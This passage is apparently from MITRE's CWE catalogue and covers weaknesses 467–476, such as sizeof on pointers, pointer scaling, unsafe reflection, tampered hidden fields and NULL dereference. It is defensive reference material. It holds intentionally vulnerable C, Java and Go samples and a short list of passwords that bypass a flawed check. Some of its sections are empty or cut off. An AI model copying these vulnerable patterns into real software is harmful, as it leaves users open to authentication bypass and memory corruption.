The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Confidentiality	Read Memory	
	This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use expressions such as "sizeof(*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

Demonstrative Examples

Example 1:

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

Example Language: C *(Bad)*

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.

Example Language: C *(Good)*

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C *(Bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
```

```
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
   printf("Sizeof username = %d\n", sizeof(username));
   printf("Sizeof pass = %d\n", sizeof(pass));
   if (strncmp(username, inUser, sizeof(username))) {
      printf("Auth failure of username using sizeof\n");
      return(AUTH_FAIL);
   }
   /* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
   if (! strncmp(pass, inPass, sizeof(pass))) {
      printf("Auth success of password using sizeof\n");
      return(AUTH_SUCCESS);
   }
   else {
      printf("Auth fail of password using sizeof\n");
      return(AUTH_FAIL);
   }
}
int main (int argc, char **argv)
{
   int authResult;
   if (argc < 3) {
      ExitError("Usage: Provide a username and password");
   }
   authResult = AuthenticateUser(argv[1], argv[2]);
   if (authResult != AUTH_SUCCESS) {
      ExitError("Authentication failed");
   }
   else {
      DoAuthenticatedTask(argv[1]);
   }
}
```

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(Attack)*

```
pass5
passABCDEFGH
passWORD
```

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

MemberOf Relationships

CWE-468: Incorrect Pointer Scaling

Weakness ID : 468
Structure : Simple
Abstraction : Base

Description

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1511

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2365

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Memory Modify Memory *Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.*	

Potential Mitigations

Phase: Architecture and Design

Use a platform with high-level memory abstractions.

Phase: Implementation

Always use array indexing instead of direct pointer manipulation.

Phase: Architecture and Design

Use technologies for preventing buffer overflows.

Demonstrative Examples

Example 1:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C *(Bad)*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID : 469
Structure : Simple
Abstraction : Base

Description

The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1511

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2365

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity Confidentiality Availability	Modify Memory Read Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity *There is the potential for arbitrary code execution with privileges of the vulnerable program.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always validate this number.

Demonstrative Examples

Example 1:

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

Example Language: C *(Bad)*

```
struct node {
   int data;
   struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
   struct node* current = head;
   struct node* tail;
   while (current != NULL) {
      tail = current;
      current = current->next;
   }
   return tail - head;
}
// other methods for manipulating the list
...
```

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this example a counter should be used to determine the number of nodes in the list, as shown in the following code.

Example Language: C *(Good)*

```
...
```

```
int size(struct node* head) {
   struct node* current = head;
   int count = 0;
   while (current != NULL) {
      count++;
      current = current->next;
   }
   return count;
}
```

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID : 470
Structure : Simple
Abstraction : Base

Description

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

Extended Description

If the product uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the product to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the product's classpath (CWE-427) or add new

entries to the product's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : Interpreted *(Prevalence = Sometimes)*

Alternate Terms

Reflection Injection :

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands Alter Execution Logic *The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.*	
Availability Other	DoS: Crash, Exit, or Restart Other *The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the product to exit or hang.*	
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Refactor your code to avoid using reflection.

Phase: Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Phase: Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

Demonstrative Examples

Example 1:

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

Example Language: Java *(Good)*

```
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
  ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
  ao = new ModifyCommand();
}
else {
  throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

Example Language: Java *(Bad)*

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker

to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

Example Language: Java *(Bad)*

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);
```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple products, in larger products where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

Observed Examples

CWE-471: Modification of Assumed-Immutable Data (MAID)

Weakness ID : 471
Structure : Simple
Abstraction : Base

Description

The product does not properly protect an assumed-immutable element from being modified by an attacker.

Extended Description

This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Relationship

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

Theoretical

There are many examples where the MUTABILITY property is a major factor in a vulnerability.

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID : 472
Structure : Simple
Abstraction : Base

Description

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Alternate Terms

Assumed-Immutable Parameter Tampering :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

In this example, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

Example Language: Java *(Bad)*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

Example 2:

Hidden fields should not be trusted as secure parameters.

An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

Example Language: HTML *(Bad)*

```
<input type="hidden"
```

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

Observed Examples

Reference	Description
CVE-2002-0108	Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address. *https://www.cve.org/CVERecord?id=CVE-2002-0108*
CVE-2000-0253	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0253*
CVE-2000-0254	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0254*
CVE-2000-0926	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0926*
CVE-2000-0101	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0101*
CVE-2000-0102	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0102*
CVE-2000-0758	Allows admin access by modifying value of form field. *https://www.cve.org/CVERecord?id=CVE-2000-0758*
CVE-2002-1880	Read messages by modifying message ID parameter. *https://www.cve.org/CVERecord?id=CVE-2002-1880*
CVE-2000-1234	Send email to arbitrary users by modifying email parameter. *https://www.cve.org/CVERecord?id=CVE-2000-1234*
CVE-2005-1652	Authentication bypass by setting a parameter. *https://www.cve.org/CVERecord?id=CVE-2005-1652*
CVE-2005-1784	Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field. *https://www.cve.org/CVERecord?id=CVE-2005-1784*
CVE-2005-2314	Logic error leads to password disclosure. *https://www.cve.org/CVERecord?id=CVE-2005-2314*
CVE-2005-1682	Modification of message number parameter allows attackers to read other people's messages. *https://www.cve.org/CVERecord?id=CVE-2005-1682*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-473: PHP External Variable Modification

Weakness ID : 473
Structure : Simple
Abstraction : Variant

Description

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	1132
PeerOf	V	616	Incomplete Identification of Uploaded File Variables (PHP)	1388

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Requirements

Phase: Implementation

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.

Observed Examples

Reference	Description
CVE-2000-0860	File upload allows arbitrary file read by setting hidden form variables to match internal variable names. *https://www.cve.org/CVERecord?id=CVE-2000-0860*
CVE-2001-0854	Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent. *https://www.cve.org/CVERecord?id=CVE-2001-0854*
CVE-2002-0764	PHP remote file inclusion by modified assumed-immutable variable. *https://www.cve.org/CVERecord?id=CVE-2002-0764*
CVE-2001-1025	Modify key variable when calling scripts that don't load a library that initializes it. *https://www.cve.org/CVERecord?id=CVE-2001-1025*
CVE-2003-0754	Authentication bypass by modifying array used for authentication. *https://www.cve.org/CVERecord?id=CVE-2003-0754*

MemberOf Relationships

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID : 474
Structure : Simple
Abstraction : Base

Description

The code uses a function that has inconsistent implementations across operating systems and versions.

Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

- Slight differences in the way parameters are interpreted leading to inconsistent results.
- Some implementations of the function carry significant security risks.
- The function might not be defined on all platforms.
- The function might change which return codes it can provide, or change the meaning of its return codes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2456
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2575

Notes

Other

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64

CWE-476: NULL Pointer Dereference

Weakness ID : 476
Structure : Simple
Abstraction : Base

Description

The product dereferences a pointer that it expects to be valid but is NULL.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2365

Weakness Ordinalities

Resultant : NULL pointer dereferences are frequently resultant from rarely encountered error conditions and race conditions, since these are most likely to escape detection during the testing phases.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Go *(Prevalence = Undetermined)*

Alternate Terms

NPD : Common abbreviation for Null Pointer Dereference

null deref : Common abbreviation for Null Pointer Dereference

NPE : Common abbreviation for Null Pointer Exception

nil pointer dereference : used for access of nil in Go programs

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.*	
Integrity Confidentiality	Execute Unauthorized Code or Commands Read Memory Modify Memory *In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.*	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing),

robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished.

Phase: Requirements

Select a programming language that is not susceptible to these issues.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Effectiveness = Moderate

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment. This solution does not handle the use of improperly initialized variables (CWE-665).

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all variables and other data stores, either during declaration or just before the first usage.

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(Bad)*

```
void host_lookup(char *user_supplied_addr){
   struct hostent *hp;
   in_addr_t *addr;
   char hostname[64];
   in_addr_t inet_addr(const char *cp);
   /*routine that ensures user_supplied_addr is in the right format for conversion */
   validate_addr_form(user_supplied_addr);
   addr = inet_addr(user_supplied_addr);
   hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
   strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

Example Language: Java *(Bad)*

```
String cmd = System.getProperty("cmd");
cmd = cmd.trim();
```

Example 3:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java *(Bad)*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
   @Override
   public void onReceive(Context context, Intent intent) {
      if("com.example.URLHandler.openURL".equals(intent.getAction())) {
         String URL = intent.getStringExtra("URLToOpen");
         int length = URL.length();
      ...
      }
   }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Example 4:

Consider the following example of a typical client server exchange. The HandleRequest function is intended to perform a request and use a defer to close the connection whenever the function returns.

Example Language: Go *(Bad)*

```
func HandleRequest(client http.Client, request *http.Request) (*http.Response, error) {
   response, err := client.Do(request)
   defer response.Body.Close()
   if err != nil {
      return nil, err
   }
   ...
}
```

If a user supplies a malformed request or violates the client policy, the Do method can return a nil response and a non-nil err.

This HandleRequest Function evaluates the close before checking the error. A deferred call's arguments are evaluated immediately, so the defer statement panics due to a nil response.

Observed Examples

Reference	Description
CVE-2005-3274	race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking. *https://www.cve.org/CVERecord?id=CVE-2005-3274*
CVE-2002-1912	large number of packets leads to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2002-1912*
CVE-2005-0772	packet with invalid error status value triggers NULL dereference *https://www.cve.org/CVERecord?id=CVE-2005-0772*
CVE-2009-4895	Chain: race condition for an argument value, possibly resulting in NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-4895*
CVE-2020-29652	ssh component for Go allows clients to cause a denial of service (nil pointer dereference) against SSH servers. *https://www.cve.org/CVERecord?id=CVE-2020-29652*
CVE-2009-2692	Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476). *https://www.cve.org/CVERecord?id=CVE-2009-2692*
CVE-2009-3547	Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476) *https://www.cve.org/CVERecord?id=CVE-2009-3547*
CVE-2009-3620	Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-3620*
CVE-2009-2698	Chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-2698*
CVE-2009-2692	Chain: uninitialized function pointers can be dereferenced allowing code execution *https://www.cve.org/CVERecord?id=CVE-2009-2692*
CVE-2009-0949	Chain: improper initialization of memory can lead to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2009-0949*
CVE-2008-3597	Chain: game server can access player data structures before initialization has happened leading to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2008-3597*
CVE-2020-6078	Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476) *https://www.cve.org/CVERecord?id=CVE-2020-6078*

Reference	Description
CVE-2008-0062	Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption. *https://www.cve.org/CVERecord?id=CVE-2008-0062*
CVE-2008-5183	Chain: unchecked return value can lead to NULL dereference *https://www.cve.org/CVERecord?id=CVE-2008-5183*
CVE-2004-0079	SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a null dereference. *https://www.cve.org/CVERecord?id=CVE-2004-0079*
CVE-2004-0365	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a null dereference. *https://www.cve.org/CVERecord?id=CVE-2004-0365*
CVE-2003-1013	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a null dereference. *https://www.cve.org/CVERecord?id=CVE-2003-1013*
CVE-2003-1000	Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a null dereference. *https://www.cve.org/CVERecord?id=CVE-2003-1000*
CVE-2004-0389	Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a null dereference. *https://www.cve.org/CVERecord?id=CVE-2004-0389*
CVE-2004-0119	OS allows remote attackers to cause a denial of service (crash from null dereference) or execute arbitrary code via a crafted request during authentication protocol selection. *https://www.cve.org/CVERecord?id=CVE-2004-0119*
CVE-2004-0458	Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a null pointer dereference. *https://www.cve.org/CVERecord?id=CVE-2004-0458*
